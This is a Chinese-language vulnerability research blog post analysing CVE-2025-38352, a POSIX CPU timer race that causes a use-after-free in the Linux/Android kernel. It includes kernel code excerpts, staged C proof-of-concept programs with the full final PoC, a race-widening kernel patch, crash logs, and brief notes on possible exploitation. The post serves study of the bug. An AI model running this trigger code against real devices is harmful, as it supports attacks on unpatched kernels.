白帽故事 · 2026年1月14日

【1】深入解析CVE-2025-38352:Android内核漏洞实战分析与PoC

前言

CVE-2025-38352 是 Linux 内核 POSIX CPU 定时器实现中的一个竞态条件导致的使用后释放漏洞。据报告,该漏洞在现实世界中已被用于有限的、有针对性的攻击。

2025年9月 Android 安全公告

@streypaws 已经发布了对该漏洞的分析。他们的博文很好地解释了 POSIX CPU 定时器的原理以及触发此漏洞的条件。你可以在这里找到它:https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/

由于他们的博文没有提供触发漏洞的概念验证程序(PoC),Faraz小哥决定将一个周日的夜晚变成学习之夜,自己编写一个。

这篇博文将一窥小哥是如何分析和编写漏洞概念验证的。它也展示了这种方法对于学习新知识有多么宝贵。

概念验证

如果你只想看漏洞利用概念验证程序,可以在这里找到:

https://github.com/farazsth98/poc-CVE-2025-38352

补丁提交记录

补丁提交记录在这里:

https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca

测试环境简而言之

内核版本

小哥使用了 LTS 内核版本 6.12.33,因为这是当时仍受此漏洞影响的最新 LTS 版本。

CONFIG_POSIX_CPU_TIMERS_TASK_WORK

补丁提交记录中提到,如果设置了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 则无法触发该漏洞。

@streypaws 的博文中提到他们无法关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 标志。这是因为默认情况下,这是在 kernel/time/Kconfig 中定义的内部标志。(链接)

config HAVE_POSIX_CPU_TIMERS_TASK_WORK
    bool

config POSIX_CPU_TIMERS_TASK_WORK
    bool
    default y if POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK

HAVE_POSIX_CPU_TIMERS_TASK_WORKarch/x86/Kconfigarch/arm64/Kconfig 中都有设置。因此,此漏洞实际上仅在 32 位 Android 设备上可利用,这也解释了为什么它被描述为在现实世界中受到了有限的、有针对性的攻击。

为了能够关闭它,请对 kernel/time/Kconfig 中的 POSIX_CPU_TIMERS_TASK_WORK 进行以下修改:

config POSIX_CPU_TIMERS_TASK_WORK
    bool "CVE-2025-38352: POSIX_CPU_TIMERS_TASK_WORK toggle" if EXPERT
    depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
    default y
    help
      For CVE-2025-38352 analysis.

现在,可以通过 make menuconfig 切换此标志。

作为参考,以 kernelCTF LTS 配置 (链接) 为基础,仅进行了上述修改以便能够关闭 CONFIG_POSIX_CPU_TIMERS_TASK_WORK

小哥还通过 make menuconfig (在菜单中搜索 PREEMPT) 启用了完全抢占,因为 Android 内核默认开启此功能。

QEMU 设置

由于这是一个竞态条件漏洞,至少需要两个 CPU 才能触发。在小哥的测试中,使用了具有 4 个 CPU 的 QEMU 虚拟机:

qemu-system-x86_64 \
    -enable-kvm \
    -cpu host \
    -smp cores=4 \
    # [ ... ]

漏洞回顾

强烈建议在继续阅读前先阅读 @streypaws 的博文 (链接)。将仅在其基础上补充信息,以解释如何触发它。

每当发生每个 CPU 的调度器时钟节拍时,内核会在每个 CPU 上调用 run_posix_cpu_timers()。如果某个定时器准备就绪,此函数最终会调用 handle_posix_cpu_timers()

该漏洞具体发生是因为,即使任务已变为僵尸状态(即任务的 tsk->exit_state 被设置为 EXIT_ZOMBIE),也允许 handle_posix_cpu_timers() 运行。

让我们快速浏览一下 handle_posix_cpu_timers() 以理解漏洞:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    struct k_itimer *timer, *next;
    unsigned long flags, start;
    LIST_HEAD(firing); // Faith: 定时器的本地列表

    // Faith: 获取 tsk->sighand->siglock
    if (!lock_task_sighand(tsk, &flags))
        return;

    do {
        // [ 1 ]
        // 将所有即将触发的定时器收集到 `firing` 列表中
        check_thread_timers(tsk, &firing);
        check_process_timers(tsk, &firing);

        // [ ... ]
    } while (!posix_cpu_timers_enable_work(tsk, start));

    // Faith: 释放 tsk->sighang->siglock
    unlock_task_sighand(tsk, &flags);

    // Faith: 竞争窗口开始

    // [ 2 ]
    // Faith: 遍历 `firing` 列表并触发定时器
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        // [ ... ]
        // Faith: 在定时器访问结束后,竞争窗口结束。
    }
}

参考上面代码中的注释,并假设只有一个即将触发的定时器:

  1. 获取 tsk->sighand->siglock 后,它会收集即将触发的定时器并将其存储在本地的 firing 列表中。值得注意的是,它此时会将该定时器从任务中移除。
  2. 收集定时器后,tsk->sighand->siglock 被释放,然后函数遍历本地的 firing 列表并触发定时器。

现在,如果任务是僵尸任务,那么在 tsk->sighand->siglock 被释放后,一个竞争窗口就打开了。在这个竞争窗口内,另一个进程可以执行以下操作来释放 firing 列表中的定时器:

  1. 回收僵尸任务 – 父进程可以通过 waitpid() 完成此操作。
  2. 调用 timer_delete() 系统调用 – 这将调用 posix_cpu_timer_del() 并通过 RCU 释放定时器。

当父进程回收僵尸任务时,将对它调用 release_task(),而该函数最终会通过 __exit_signal()tsk->sighand 设置为 NULL

static void __exit_signal(struct task_struct *tsk)
{
    // [ ... ]

    sighand = rcu_dereference_check(tsk->sighand,
                    lockdep_tasklist_lock_is_held());
    spin_lock(&sighand->siglock);

    // [ ... ]

    tsk->sighand = NULL; // Faith: 这里
    spin_unlock(&sighand->siglock);

    // [ ... ]
}

然后,当使用 timer_delete() 调用 posix_cpu_timer_del() 时,它会注意到 tsk->sighandNULL,并直接返回 0:

static int posix_cpu_timer_del(struct k_itimer *timer)
{
    // [ ... ]
    int ret = 0;

    // [ ... ]
    sighand = lock_task_sighand(p, &flags);
    if (unlikely(sighand == NULL)) {
        WARN_ON_ONCE(ctmr->head || timerqueue_node_queued(&ctmr->node));
    } else {
        // [ ... ]
    }

out:
    // [ ... ]
    return ret;
}

posix_cpu_timer_del() 返回 0 时,它会返回到 timer_delete() 系统调用处理程序,该处理程序将调用 posix_timer_unhash_and_free() 并释放定时器:

SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
    // [ ... ]
retry_delete:
    // [ ... ]
    // Faith: timer_delete_hook() 调用 posix_cpu_timer_del()
    if (unlikely(timer_delete_hook(timer) == TIMER_RETRY)) {
        /* Unlocks and relocks the timer if it still exists */
        timer = timer_wait_running(timer, &flags);
        goto retry_delete;
    }

    // [ ... ]
    posix_timer_unhash_and_free(timer);
    return 0;
}

实际的释放是通过 RCU 完成的,因此不会立即发生:

static void posix_timer_unhash_and_free(struct k_itimer *tmr)
{
    // [ ... ]
    posix_timer_free(tmr);
}

static void posix_timer_free(struct k_itimer *tmr)
{
    // [ ... ]
    call_rcu(&tmr->rcu, k_itimer_rcu_free);
}

假设所有这些都发生在上述竞争窗口内,当 handle_posix_cpu_timers() 遍历本地的 firing 列表并访问定时器时,将导致一个使用后释放漏洞:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    // [ ... ]
    // Faith: 遍历 `firing` 列表并触发定时器
    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
        // [ ... ]
        // Faith: UAF 发生在这里
    }
}

构思概念验证

既然我们知道如何触发漏洞,让我们一步步规划一个概念验证。

最小化的 POSIX CPU 定时器概念验证

我们首先要做的是能够调用 handle_posix_cpu_timers()。以下是最小化的概念验证代码:

#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>

void timer_fire(void) {
    printf("Timer fired\n");
}

int main(void) {
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = (void (*)(sigval_t))timer_fire;

    timer_t timer;
    int timerfd = timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
    printf("Timer created: %d\n", timerfd);

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {1, 0},
    };

    timer_settime(timer, 0, &ts, NULL);
    printf("Timer started: %d\n", timerfd);

    // 消耗CPU时间以触发定时器
    while (1);
}
  1. timer_create() 用于创建一个 POSIX CPU 定时器,当触发时会调用 timer_fire()
  2. timer_settime() 用于使定时器在当前线程消耗了 1 秒 CPU 时间后触发。

创建一个僵尸任务

为了理解如何将任务转换到 EXIT_ZOMBIE 退出状态,让我们查看一下 exit_notify(),当线程/进程运行完毕并退出时,会通过 do_exit() 调用:

static void exit_notify(struct task_struct *tsk, int group_dead)
{
    // [ ... ]
    LIST_HEAD(dead);

    // [ ... ]

    tsk->exit_state = EXIT_ZOMBIE; // [ 1 ]

    // [ ... ]
    // [ 2 ]
    if (unlikely(tsk->ptrace)) {
        int sig = thread_group_leader(tsk) &&
                thread_group_empty(tsk) &&
                !ptrace_reparented(tsk) ?
            tsk->exit_signal : SIGCHLD;
        autoreap = do_notify_parent(tsk, sig);
    }

    // [ ... ]
    // [ 3 ]
    if (autoreap) {
        tsk->exit_state = EXIT_DEAD;
        list_add(&tsk->ptrace_entry, &dead);
    }

    // [ ... ]
    // [ 4 ]
    list_for_each_entry_safe(p, n, &dead, ptrace_entry) {
        list_del_init(&p->ptrace_entry);
        release_task(p);
    }
}

参考上面代码中的注释:

  1. 任务的退出状态最初自动设置为 EXIT_ZOMBIE
  2. 如果任务当前正在被 ptrace 跟踪,autoreap 被设置为 do_notify_parent() 的返回值。
    • 只要父进程没有忽略 SIGCHLD 信号,do_notify_parent() 就会返回 false。
  3. 如果 autoreap 为 true,任务的退出状态将被改为 EXIT_DEAD,并被添加到本地的 dead 列表中。
  4. 遍历本地的 dead 列表,并对列表中的每个任务调用 release_task()

根据我们在上一节的分析,我们知道 release_task() 会将 tsk->sighand 设置为 NULL

由于我们实际上希望 handle_posix_cpu_timers() 能够锁定 tsk->sighand->siglock 并将我们即将触发的定时器收集到本地的 firing 列表中,我们不希望在这里释放任务。

因此,为了在这里创建一个僵尸任务,必须设置 tsk->ptrace,这意味着必须有一个父进程正在 ptrace 跟踪此任务。此外,父进程不得忽略 SIGCHLD 信号。

回收僵尸任务

在线程和进程的上下文中,“回收”是指完全释放和清理任务(主要是为其分配的任务结构)。最终的回收步骤通常是让内核在任务上调用 release_task()

可以通过在父跟踪器进程中调用 waitpid(zombie_task_pid, ...) 来回收僵尸任务。我们希望的调用栈如下:

do_wait()
-> __do_wait()
-> do_wait_pid()
-> wait_consider_task()
-> wait_task_zombie()
-> release_task()

这个调用栈中的代码太多,无法一一展示,以下是成功回收僵尸任务并对其调用 release_task() 所必须满足的重要条件:

  1. 只有当我们指定一个 PID(而不是 TGID、PGID 等)时,才会调用 do_wait_pid()
  2. 只有满足以下条件时,才会调用 wait_task_zombie()
    • 僵尸任务正在被 ptrace 跟踪。
    • 僵尸任务不是当前线程组的主线程(默认情况下,线程组的主线程是进程的主线程)。

为了满足上述条件,僵尸任务必须是被父进程 ptrace 跟踪的进程中的非主线程。

此外,父进程必须向 waitpid() 指定僵尸任务的线程 ID(也就是 PID),这意味着子进程必须以某种方式将线程 ID 传递给父进程。

可控地回收僵尸任务

以下概念验证演示了一个父进程如何完全控制何时回收子进程中的非主线程:

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <err.h>
#include <sys/prctl.h>
#include <sys/syscall.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
    if (__res == (typeof(x))-1) \
      err(1, "SYSCHK(" #x ")"); \
    __res;                      \
})

void pin_on_cpu(int i) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

pthread_t reapee_thread;
pthread_barrier_t barrier;
int c2p[2]; // 子进程到父进程
int p2c[2]; // 父进程到子进程

void reapee(void) {
    pin_on_cpu(2);
    prctl(PR_SET_NAME, "REAPEE");

    // 将此线程的线程ID发送给父进程
    pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

    // 等待父进程附加
    pthread_barrier_wait(&barrier);

    return;
}

int main(int argc, char *argv[]) {
    // 父进程和子进程设置
    // 使用管道在父进程和子进程之间通信
    SYSCHK(pipe(c2p));
    SYSCHK(pipe(p2c));

    pid_t pid = SYSCHK(fork());

    if (pid) {
        // 父进程
        pin_on_cpu(1);
        char m;
        close(c2p[1]);
        close(p2c[0]);

        // 接收子进程的REAPEE线程的线程ID
        pid_t tid;
        SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));
        printf("Parent: reapee thread ID: %d\n", tid);

        // 附加到REAPEE线程并继续执行它
        printf("Parent: attaching to REAPEE thread\n");
        SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
        SYSCHK(waitpid(tid, NULL, __WALL));
        SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));

        // 通知子进程我们已经附加并继续执行
        SYSCHK(write(p2c[1], &m, 1));

        // 现在回收REAPEE线程
        printf("Parent: press enter to reap REAPEE thread\n");
        getchar();
        SYSCHK(waitpid(tid, NULL, __WALL));
        printf("Parent: detached from REAPEE\n");

        sleep(5);
    } else {
        // 子进程
        pin_on_cpu(0);
        char m;
        close(c2p[0]);
        close(p2c[1]);

        prctl(PR_SET_NAME, "CHILD_MAIN");
        pthread_barrier_init(&barrier, NULL, 2);
        pthread_create(&reapee_thread, NULL, (void*)reapee, NULL);

        printf("Thread created\n");

        // 父进程在附加并继续执行后向我们写入,使用屏障让REAPEE线程继续执行
        SYSCHK(read(p2c[0], &m, 1));
        pthread_barrier_wait(&barrier);

        pause();
    }
}

运行此概念验证代码后,观察到以下输出后,附加 GDB 到内核:

Thread created
Parent: reapee thread ID: 152
Parent: attaching to REAPEE thread
Parent: press enter to reap REAPEE thread

在 GDB 中,在 release_task() 处设置断点并继续。你可以随时按回车键来触发 release_task()

gef> p p->comm
$1 = "REAPEE\000\000\000\000\000\000\000\000\000"

gef> bt
#0  release_task (p=p@entry=0xffff88800892d280) at kernel/exit.c:245
#1  0xffffffff811a549f in wait_task_zombie (p=0xffff88800892d280, wo=0xffffc90000627eb0) at kernel/exit.c:1254
#2  wait_consider_task (wo=wo@entry=0xffffc90000627eb0, ptrace=<optimized out>, ptrace@entry=0x1, p=0xffff88800892d280) at kernel/exit.c:1481
#3  0xffffffff811a6cd6 in do_wait_pid (wo=0xffffc90000627eb0) at kernel/exit.c:1629
#4  __do_wait (wo=wo@entry=0xffffc90000627eb0) at kernel/exit.c:1655
#5  0xffffffff811a6d86 in do_wait (wo=wo@entry=0xffffc90000627eb0) at kernel/exit.c:1696

请注意,release_task() 可能会被定期调用来回收 kworker 线程。在这种情况下,你可以忽略它并继续。

编写概念验证

现在,终于要编写概念验证代码啦!

扩展竞争窗口的内核补丁

为了帮助触发漏洞,小哥在 handle_posix_cpu_timers() 内部添加了 500 毫秒的延迟以扩展竞争窗口。这使得概念验证更加可靠:

static void handle_posix_cpu_timers(struct task_struct *tsk)
{
    // [ ... ]
    unlock_task_sighand(tsk, &flags);

    // Faith: 扩展竞争窗口
    if (strcmp(tsk->comm, "SLOWME") == 0) {
        printk("Faith: Did we win? tsk->exit_state: %d\n", tsk->exit_state);
        mdelay(500);
    }

    // [ ... ]
}

请注意,此补丁并非触发漏洞所必需的。事实证明,这个补丁几乎是必需的。小哥曾见过它被触发过一两次,但由于以下两个原因,它极其罕见:

  1. 默认情况下,使用一个定时器(这是我的概念验证代码所使用的)时,竞争窗口大约为 3000-4000 纳秒,因此要在该窗口内完成回收和释放操作非常困难。
  2. 定时器的释放由 RCU 处理,这很可能需要超过 4000 纳秒的时间。

小哥幸运地碰到过几次,某些奇怪的行为导致竞争窗口停留了足够长的时间,满足了上述两个条件,但确实不太可靠。

查看本博文第二部分,了解我如何创建一个不需要上述延迟补丁的概念验证!

触发竞态条件

为了触发竞态条件,我们必须将上一节的两个概念验证代码结合起来,并确保设置 POSIX CPU 定时器,使其在 exit_notify()tsk->exit_state 转换为 EXIT_ZOMBIE 之后触发。

实际上,这意味着当子进程中的非主线程退出时,必须刚好留有足够的 CPU 时间,以便内核的 do_exit() 函数可以调用 exit_notify() 并将任务转换为僵尸任务,然后定时器才触发。

然而,我们也不能留太多的 CPU 时间!否则,do_exit() 将完成执行并使用完它所需的所有 CPU 时间,如果定时器在此之后还需要消耗更多 CPU 时间,那么它最终将永远不会触发。

经过一些尝试和错误,在我的本地环境中,250,000 纳秒的 CPU 时间值效果很好。

现在,让我们逐步浏览最终概念验证代码的重要部分(完整代码在文末)。

自定义等待时间实现

首先,通过 argv[1] 指定了一个自定义的 wait_time,便于测试。这是定时器触发前必须消耗的 CPU 时间:

long int wait_time = 250000; // 在小哥的环境生效

int main(int argc, char *argv[]) {
    // 使用自定义等待时间,以确定定时器能在 `exit_notify()` 将任务状态设置为 EXIT_ZOMBIE 后立即触发的精确时机。
    if (argc > 1) {
        wait_time = strtol(argv[1], NULL, 10);
        printf("Custom wait time: %ld\n", wait_time);
    }

设置定时器

现在,在 reapee 线程中,创建一个 POSIX CPU 定时器,并将其设置为在自定义的 wait_time 后触发。

同时确保将线程名称设置为 SLOWME,以便它受到我们添加到 handle_posix_cpu_timers() 的自定义 mdelay() 补丁的影响:

void reapee(void) {
    pin_on_cpu(2);
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = (void (*)(sigval_t))timer_fire;
    char m;

    prctl(PR_SET_NAME, "SLOWME");

    // 将此线程的TID发送给父进程
    pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

    printf("Creating timer\n");
    SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer));
    printf("Timer created\n");

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {0, wait_time}, // 自定义等待时间
    };

    // 等待父进程附加
    pthread_barrier_wait(&barrier);

    SYSCHK(timer_settime(timer, 0, &ts, NULL));

    // 消耗一些CPU时间以确保定时器能正确触发
    for (int i = 0; i < 1000000; i++);

    return;
}

回收定时器线程并删除定时器

最后,在父进程和子进程中,我们必须执行以下操作:

  1. 父进程 – 像之前一样回收 REAPEE 线程,并等待子进程释放定时器。
  2. 子进程 – 等待父进程回收 REAPEE 线程,然后使用 timer_delete() 删除定时器。
int main(int argc, char *argv[]) {
    // [ ... ]
    pid_t pid = SYSCHK(fork());

    if (pid) {
        // 父进程
        // [ ... ]

        // 通知子进程我们已经附加并继续执行
        SYSCHK(write(p2c[1], &m, 1));

        // 现在回收REAPEE线程
        printf("Parent: reaping REAPEE thread\n");
        SYSCHK(waitpid(tid, NULL, __WALL));
        printf("Parent: detached from REAPEE\n");

        // 让子进程知道REAPEE已被回收
        SYSCHK(write(p2c[1], &m, 1));

        // 让子进程在退出前删除并释放定时器
        SYSCHK(read(c2p[0], &m, 1));
    } else {
        // 子进程
        // [ ... ]

        // 父进程在附加并继续执行后向我们写入,使用屏障让REAPEE线程继续执行
        SYSCHK(read(p2c[0], &m, 1));
        pthread_barrier_wait(&barrier);

        // 父进程在 waitpid() 成功返回后向我们写入。
        //
        // 此时,如果我们赢得了竞争,`handle_posix_cpu_timers()` 将在打了补丁的 `mdelay(500)` 中执行,并且 `tsk->exit_state != 0`,调用
        // `timer_delete()` 应该会使其看到一个 NULL 的 `sighand`,这将导致它无条件地释放定时器。
        SYSCHK(read(p2c[0], &m, 1));
        timer_delete(timer);
        printf("Child: timer deleted\n");

        // 等待RCU释放定时器,然后通知父进程它可以退出
        wait_for_rcu();
        SYSCHK(write(c2p[1], &m, 1));
        pause();
    }
}

测试概念验证

就是这样!运行此概念验证的步骤如下:

  1. 使用 gcc -o poc -static poc.c 编译。
  2. 在虚拟机中使用 while true; do /poc; done 运行。

请注意,概念验证并不是 100% 会触发竞态条件,这就是为什么在 bash while 循环中重复运行它直到触发。

你应该首先修改默认的 wait_time 值,使其在你的测试环境中生效。

现在,让我们看看 KASAN 和非 KASAN 的崩溃记录是什么样的 👀

KASAN 崩溃日志

启用 KASAN 后,可以观察到使用后释放写入:

[    9.995817] ==================================================================
[    9.999410] BUG: KASAN: slab-use-after-free in posix_timer_queue_signal+0x16a/0x1a0
[   10.003168] Write of size 4 at addr ffff88800e628188 by task SLOWME/179
[   10.006386]
[   10.007400] CPU: 2 UID: 0 PID: 179 Comm: SLOWME Not tainted 6.12.33 #7
[   10.007406] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   10.007408] Call Trace:
[   10.007455]  <IRQ>
[   10.007468]  dump_stack_lvl+0x66/0x80
[   10.007487]  print_report+0xc1/0x610
[   10.007503]  ? posix_timer_queue_signal+0x16a/0x1a0
[   10.007506]  kasan_report+0xaf/0xe0
[   10.007509]  ? posix_timer_queue_signal+0x16a/0x1a0
[   10.007512]  posix_timer_queue_signal+0x16a/0x1a0
[   10.007515]  cpu_timer_fire+0x8d/0x190
[   10.007518]  run_posix_cpu_timers+0x807/0x1840

非 KASAN 崩溃日志

禁用 KASAN 后,可以观察到 send_sigqueue() 内部的 WARN_ON_ONCE

[   29.647984] ------------[ cut here ]------------
[   29.650267] WARNING: CPU: 2 PID: 205 at kernel/signal.c:1974 send_sigqueue+0x1be/0x250
[   29.653905] Modules linked in:
[   29.655484] CPU: 2 UID: 0 PID: 205 Comm: SLOWME Not tainted 6.12.33 #5
[   29.658569] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014
[   29.662579] RIP: 0010:send_sigqueue+0x1be/0x250
[   29.664712] Code: 44 89 e0 5b 5d 41 5c 41 5d 41 5e 41 5f e9 d5 e9 94 01 41 bc ff ff ff ff eb e2 48 8b 85 b0 07 00 00 48 8d 50 40 e9 2a ff ff ff <0f> 0b 45 31 e4 eb cb 0f 0b eb c7 4c 89 fe e8 bf 47 6a 01 48 8b bd
// [ ... ] 寄存器状态已省略
[   29.703210] Call Trace:
[   29.704498]  <IRQ>
[   29.705663]  posix_timer_queue_signal+0x3f/0x50
[   29.707869]  cpu_timer_fire+0x23/0x70
[   29.709572]  run_posix_cpu_timers+0x2bc/0x5e0

关于 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的快速说明

@streypaws 的博文 (链接) 提到,即使在启用了 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下,也能够触发此漏洞。但是,无法观察到相同的结果。

实际上,查看 do_exit()exit_task_work() 的功能后,很容易理解为什么在启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 时无法触发漏洞:

  • exit_task_work() 调用 task_work_run()
  • task_work_run() 会“下毒” task->task_works 结构体,阻止任何进一步的工作在其上排队。

由于该漏洞特别要求在 handle_posix_cpu_timers() 之前调用 exit_notify(),而调用 exit_task_work()(如果 handle_posix_cpu_timers() 被排队,则会调用它)发生在 exit_notify() 之前,因此在启用 CONFIG_POSIX_CPU_TIMERS_TASK_WORK 的情况下无法触发此漏洞。

漏洞利用

小哥不确定是否会花时间为此漏洞编写利用代码,但确实注意到了以下几点:

  1. POSIX CPU 定时器是从它们自己的 kmem_cache 分配的。
  2. struct k_itimer 结构体并不复杂,因此很可能需要进行跨缓存攻击。
  3. 对于跨缓存攻击,很可能需要扩展 handle_posix_cpu_timers() 内部的竞争窗口。
  4. 扩展竞争窗口可能会很棘手,因为 handle_posix_cpu_timers() 在调度器时钟节拍中断上下文中运行,此时 IRQ 被禁用。

小哥的概念验证程序已经提供了一个使用后释放攻击的原语,而且很明显,从 Android 公告中提到的情况来看,这个漏洞肯定是可利用的。只需要解决上面的漏洞利用工程问题即可。

如果小哥最终花时间利用这个漏洞,他会写一篇新的博文作为这篇的更新!

结论

正如之前在一篇博文中提到的,小哥认为分析和编写复杂漏洞的概念验证程序是学习和进行漏洞研究的最佳方式。

在这个例子中,小哥不仅学习了 POSIX CPU 定时器,还了解了定时器的工作原理,以及 Linux 内核中如何通过任务结构来描述进程和线程。

如果你有任何问题,请通过 Twitter 或其他方式告诉小哥!

最终的概念验证代码

最终的概念验证代码已上传到小哥的 Github 上。你可以在这里查看它:

https://github.com/farazsth98/poc-CVE-2025-38352

代码也展示如下:

#define _GNU_SOURCE
#include <time.h>
#include <signal.h>
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <stdlib.h>
#include <err.h>
#include <sys/prctl.h>
#include <sched.h>
#include <linux/membarrier.h>
#include <sys/syscall.h>

#define SYSCHK(x) ({            \
    typeof(x) __res = (x);      \
    if (__res == (typeof(x))-1) \
      err(1, "SYSCHK(" #x ")"); \
    __res;                      \
})

void pin_on_cpu(int i) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(i, &mask);
    sched_setaffinity(0, sizeof(mask), &mask);
}

void timer_fire(void) {
    prctl(PR_SET_NAME, "TIMER_FIRED");
    printf("Timer fired\n");
}

void wait_for_rcu() {
    syscall(__NR_membarrier, MEMBARRIER_CMD_GLOBAL, 0);
}

pthread_barrier_t barrier;
timer_t timer;
pthread_t reapee_thread;
int c2p[2]; // 子进程到父进程
int p2c[2]; // 父进程到子进程
long int wait_time = 250000;

void reapee(void) {
    pin_on_cpu(2);
    struct sigevent sev = {0};
    sev.sigev_notify = SIGEV_THREAD;
    sev.sigev_notify_function = (void (*)(sigval_t))timer_fire;
    char m;

    prctl(PR_SET_NAME, "SLOWME");

    // 将此线程的TID发送给父进程
    pid_t tid = (pid_t)syscall(SYS_gettid);
    SYSCHK(write(c2p[1], &tid, sizeof(pid_t)));

    printf("Creating timer\n");
    SYSCHK(timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer));
    printf("Timer created\n");

    struct itimerspec ts = {
        .it_interval = {0, 0},
        .it_value = {
            .tv_sec = 0,
            .tv_nsec = wait_time, // 自定义等待时间
        },
    };

    // 等待父进程附加
    pthread_barrier_wait(&barrier);

    SYSCHK(timer_settime(timer, 0, &ts, NULL));

    // 消耗一些CPU时间以确保定时器能正确触发
    for (int i = 0; i < 1000000; i++);

    return;
}

int main(int argc, char *argv[]) {
    // 使用自定义等待时间,以确定定时器能在 `exit_notify()` 将任务状态设置为 EXIT_ZOMBIE 后立即触发的精确时机。
    if (argc > 1) {
        wait_time = strtol(argv[1], NULL, 10);
        printf("Custom wait time: %ld\n", wait_time);
    }
    // 父进程和子进程设置
    // 使用管道在父进程和子进程之间通信
    SYSCHK(pipe(c2p));
    SYSCHK(pipe(p2c));

    pid_t pid = SYSCHK(fork());

    if (pid) {
        // 父进程
        pin_on_cpu(1);
        char m;
        close(c2p[1]);
        close(p2c[0]);

        // 接收子进程的REAPEE线程的TID
        pid_t tid;
        SYSCHK(read(c2p[0], &tid, sizeof(pid_t)));
        printf("Parent: reapee thread ID: %d\n", tid);

        // 附加并继续执行
        printf("Parent: attaching to REAPEE thread\n");
        SYSCHK(ptrace(PTRACE_ATTACH, tid, NULL, NULL));
        SYSCHK(waitpid(tid, NULL, __WALL));
        SYSCHK(ptrace(PTRACE_CONT, tid, NULL, NULL));

        // 通知子进程我们已经附加并继续执行
        SYSCHK(write(p2c[1], &m, 1));

        // 现在回收REAPEE线程
        printf("Parent: reaping REAPEE thread\n");
        SYSCHK(waitpid(tid, NULL, __WALL));
        printf("Parent: detached from REAPEE\n");

        // 让子进程知道REAPEE已被回收
        SYSCHK(write(p2c[1], &m, 1));

        // 让子进程在退出前删除并释放定时器
        SYSCHK(read(c2p[0], &m, 1));
    } else {
        // 子进程
        pin_on_cpu(0);
        char m;
        close(c2p[0]);
        close(p2c[1]);

        prctl(PR_SET_NAME, "CHILD_MAIN");
        pthread_barrier_init(&barrier, NULL, 2);
        pthread_create(&reapee_thread, NULL, (void*)reapee, NULL);

        printf("Thread created\n");

        // 父进程在附加并继续执行后向我们写入,使用屏障让REAPEE线程继续执行
        SYSCHK(read(p2c[0], &m, 1));
        pthread_barrier_wait(&barrier);

        // 父进程在 waitpid() 成功返回后向我们写入。
        //
        // 此时,如果我们赢得了竞争,`handle_posix_cpu_timers()` 将在打了补丁的 `mdelay(500)` 中执行,并且 `tsk->exit_state != 0`,调用
        // `timer_delete()` 应该会使其看到一个 NULL 的 `sighand`,这将导致它无条件地释放定时器。
        SYSCHK(read(p2c[0], &m, 1));
        timer_delete(timer);
        printf("Child: timer deleted\n");

        // 等待RCU释放定时器,然后通知父进程它可以退出
        wait_for_rcu();
        SYSCHK(write(c2p[1], &m, 1));
        pause();
    }
}

原文:https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/#final-poc

小哥的推特:@farazsth98